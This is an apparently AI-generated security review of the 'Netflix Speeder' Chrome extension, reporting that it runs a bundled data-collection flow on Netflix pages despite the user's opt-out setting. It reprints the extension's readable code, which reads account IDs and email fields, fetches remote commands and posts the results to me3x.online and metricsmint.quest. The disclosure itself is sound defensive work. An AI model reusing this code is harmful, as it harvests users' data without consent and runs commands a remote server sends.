Is Netflix Speeder: adjust playback speed [QVI] safe?

Medium risk

Netflix Speeder: adjust playback speed [QVI] is medium risk. Netflix Speeder injects bundled DataHunter code with its playback controls. shareInsights defaults enabled, feeding optedOut, but Netflix collection still posts to me3x.online, plus telemetry to me3x.online/n/js/dlog with no stored body.

dogooodappv1.1.9Chrome Web Store
45Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Netflix Speeder runs DataHunter on Netflix pages

MediumunwantedCWE-506Dynamic sandbox

Netflix Speeder injects bundled DataHunter code with its playback controls. shareInsights defaults enabled, feeding optedOut, but Netflix collection still posts to me3x.online, plus telemetry to me3x.online/n/js/dlog with no stored body.

What actually happens

You did this

You open or use Netflix with the extension installed.

The extension did this

The extension runs a bundled data-collection flow in the Netflix page.

The flow keeps running after reading the sharing preference; the preference is included in a server-bound object instead of stopping the local collection path.

Fields assembled or read by the collection flow

  • Netflix account ID
    accountId=7425819361048290 (illustrative)

    This ties activity to the Netflix account context available in the page.

  • Netflix profile ID
    profileId=72f4419b-0f2d-4d6b-8a25-0a8a2f4b7d64 (illustrative)

    This separates which Netflix profile was active when the extension ran.

  • Extension user ID
    extensionUserId=0a63b94a-b48e-4371-9ef7-3e531f85cf3a (illustrative)

    This lets repeated requests from the same browser profile be linked over time.

  • Country and language
    country=US; browserLanguage=en-US (illustrative)

    This adds location and locale context to the Netflix profile data.

  • Sharing preference
    shareInsights=false; optedOut=true (illustrative)

    This records whether the browser had sharing disabled, but the same code path still proceeds.

  • Netflix account fields
    models.accountInfo.data.emailAddress=user@example.com (illustrative)

    The page-context reader names account and profile email fields that can identify a Netflix account holder.

Captured request

POSThttps://me3x.online/n/netflix/start

The code parses a JSON response containing commands for the Netflix flow; verification did not store a request or response body for this claim.

Headers
Content-Type
application/json

Captured request

POSThttps://me3x.online/n/js/dlog

Verification evidence recorded dlog POSTs to this endpoint; no request body was stored with the claim evidence.

Headers
Content-Type
application/json

The code that does this

The default-on setting is read, then serialized into the server-bound init object

Readable version

Readable counterpart: same default and injection scope

manifest.json and background.js
// manifest.json{    "permissions": [        "storage"    ],    "host_permissions": [        "*://*.netflix.com/*"    ],    "content_scripts": [        {            "js": [                "value.js",                "engine.js",                "netflix.min.js",                "baner.js"            ],            "matches": [                "*://*.netflix.com/*"            ]        }    ]}// background.jschrome.runtime.onInstalled.addListener(reason => {    if (reason.reason === chrome.runtime.OnInstalledReason.INSTALL) {        chrome.storage.sync.get(['isSurveyShowed'], (result) => {            if (result.isSurveyShowed === undefined) {                chrome.storage.sync.set({ isSurveyShowed: true }, () => {                    globalThis.openThankYouPage('https://dogooodapp.com/thank-you-survey/');                });            }        })    }    chrome.storage.sync.get(['shareInsights'], (result) => {      if (result.shareInsights === undefined) {          chrome.storage.sync.set({ shareInsights: true }, () => {              console.log('Default shareInsights set to true');          });      }    })    reloadTabs()})

Readable counterpart: opt-out helper

netflix.beauty.js
var isOptedOut = function() {    var _ref = Helper_async_to_generator(function() {        var SHARE_INSIGHTS_NAME, _globalThis_chrome, shareInsights, error;        return Helper_ts_generator(this, function(_state) {            switch (_state.label) {                case 0:                    SHARE_INSIGHTS_NAME = "shareInsights";                    _state.label = 1;                case 1:                    _state.trys.push([                        1,                        3, ,                        4                    ]);                    if (!((_globalThis_chrome = globalThis.chrome) === null || _globalThis_chrome === void 0 ? void 0 : _globalThis_chrome.storage)) {                        return [                            2,                            false                        ];                    }                    return [                        4,                        chrome.storage.sync.get(SHARE_INSIGHTS_NAME)                    ];                case 2:                    shareInsights = _state.sent()[SHARE_INSIGHTS_NAME];                    if (shareInsights === false) {                        return [                            2,                            true                        ];                    }                    return [                        2,                        false                    ];                case 3:                    error = _state.sent();                    console.warn(error);                    return [                        3,                        4                    ];                case 4:                    return [                        2,                        false                    ];            }        });    });    return function isOptedOut() {        return _ref.apply(this, arguments);    };}();

Readable counterpart: optedOut becomes a field in the init object

netflix.beauty.js
var fetchCommandsInitData = function() {    var _ref = Init_async_to_generator(function(profileGuid) {        var _ref, accountId, country, activeProfileId, extensionUserId, optedOut;        return Init_ts_generator(this, function(_state) {            switch (_state.label) {                case 0:                    _ref = (0, Helper /* getContextData */ .KP)("authData") || {}, accountId = _ref.accountId, country = _ref.country, activeProfileId = _ref.profileId;                    return [                        4,                        (0, Helper /* getOrCreateExtensionUserId */ .dI)()                    ];                case 1:                    extensionUserId = _state.sent() || "";                    return [                        4,                        (0, Helper /* isOptedOut */ .bz)()                    ];                case 2:                    optedOut = _state.sent();                    return [                        2,                        new InitCommandsData(accountId, profileGuid, extensionUserId, (0, Helper /* getHid */ .SY)(), (0, Helper /* getLocalTimeDiff */ .UL)(), (0, Helper /* getBrowserLanguage */ .xd)(), (0, Dist /* getDist */ .l)(), country, activeProfileId === profileGuid, optedOut)                    ];            }        });    });    return function fetchCommandsInitData(profileGuid) {        return _ref.apply(this, arguments);    };}();

The code that does this

The Netflix collection flow still fetches, executes, and uploads commands

Readable version

Readable counterpart: JSON POST helper

netflix.beauty.js
var postPlainJsonRequest = function() {    var _ref = _async_to_generator(function(url, payload) {        var response;        return _ts_generator(this, function(_state) {            switch (_state.label) {                case 0:                    return [                        4,                        fetch(url, {                            method: "POST",                            headers: {                                "Content-Type": "application/json"                            },                            body: JSON.stringify(payload)                        })                    ];                case 1:                    response = _state.sent();                    return [                        4,                        response.json()                    ];                case 2:                    return [                        2,                        _state.sent()                    ];            }        });    });    return function postPlainJsonRequest(url, payload) {        return _ref.apply(this, arguments);    };}();

Readable counterpart: command start and upload endpoints

netflix.beauty.js
var BASE_ROUTE = config /* nodeRootUrl */ .uL,    revision = config /* revision */ .QL;var uploadSingleCommandData = function() {    var _ref = Metriq_async_to_generator(function(data, commandId) {        return Metriq_ts_generator(this, function(_state) {            switch (_state.label) {                case 0:                    return [                        4,                        postPlainJsonRequest("".concat(BASE_ROUTE, "netflix/upload"), _object_spread_props(Metriq_object_spread({}, data), {                            commandId: commandId                        }))                    ];                case 1:                    return [                        2,                        _state.sent()                    ];            }        });    });    return function uploadSingleCommandData(data, commandId) {        return _ref.apply(this, arguments);    };}();var fetchCommandsToSend = function() {    var _ref = Metriq_async_to_generator(function(initData) {        return Metriq_ts_generator(this, function(_state) {            switch (_state.label) {                case 0:                    return [                        4,                        postPlainJsonRequest("".concat(BASE_ROUTE, "netflix/start"), initData)                    ];                case 1:                    return [                        2,                        _state.sent()                    ];            }        });    });    return function fetchCommandsToSend(initData) {        return _ref.apply(this, arguments);    };}();

Readable counterpart: main scrape function

netflix.beauty.js
var scrapeNetflixData = function() {    var _ref = Scrape_async_to_generator(function(params) {        var profileGuid, commandsInitData, commands, commandsData, error;        return Scrape_ts_generator(this, function(_state) {            switch (_state.label) {                case 0:                    _state.trys.push([                        0,                        5, ,                        7                    ]);                    profileGuid = params.guid;                    return [                        4,                        fetchCommandsInitData(profileGuid)                    ];                case 1:                    commandsInitData = _state.sent();                    return [                        4,                        fetchCommandsToSend(commandsInitData)                    ];                case 2:                    commands = _state.sent();                    return [                        4,                        executeCommandsToSend(commands, profileGuid)                    ];                case 3:                    commandsData = _state.sent();                    return [                        4,                        sendCommandsData(commandsData)                    ];                case 4:                    _state.sent();                    return [                        3,                        7                    ];                case 5:                    error = _state.sent();                    return [                        4,                        netflixLogger("flow", error.message)                    ];                case 6:                    _state.sent();                    return [                        3,                        7                    ];                case 7:                    return [                        2                    ];            }        });    });    return function scrapeNetflixData(params) {        return _ref.apply(this, arguments);    };}();

Remote hosts named by code and verification evidence

    • me3x.online

    Receives Netflix command-start, command-upload, and JSON diagnostic POSTs from the bundled DataHunter flow.

    • metricsmint.quest

    Receives additional Netflix profile/account fields via the code path that posts base64-encoded JSON to /up.

    • dogooodapp.com

    Opened by the background script for a thank-you survey on fresh install; this is separate from the Netflix collection endpoints.

Updated 21 September 2026akckecckakhhkcaaaokjiholjblhbncm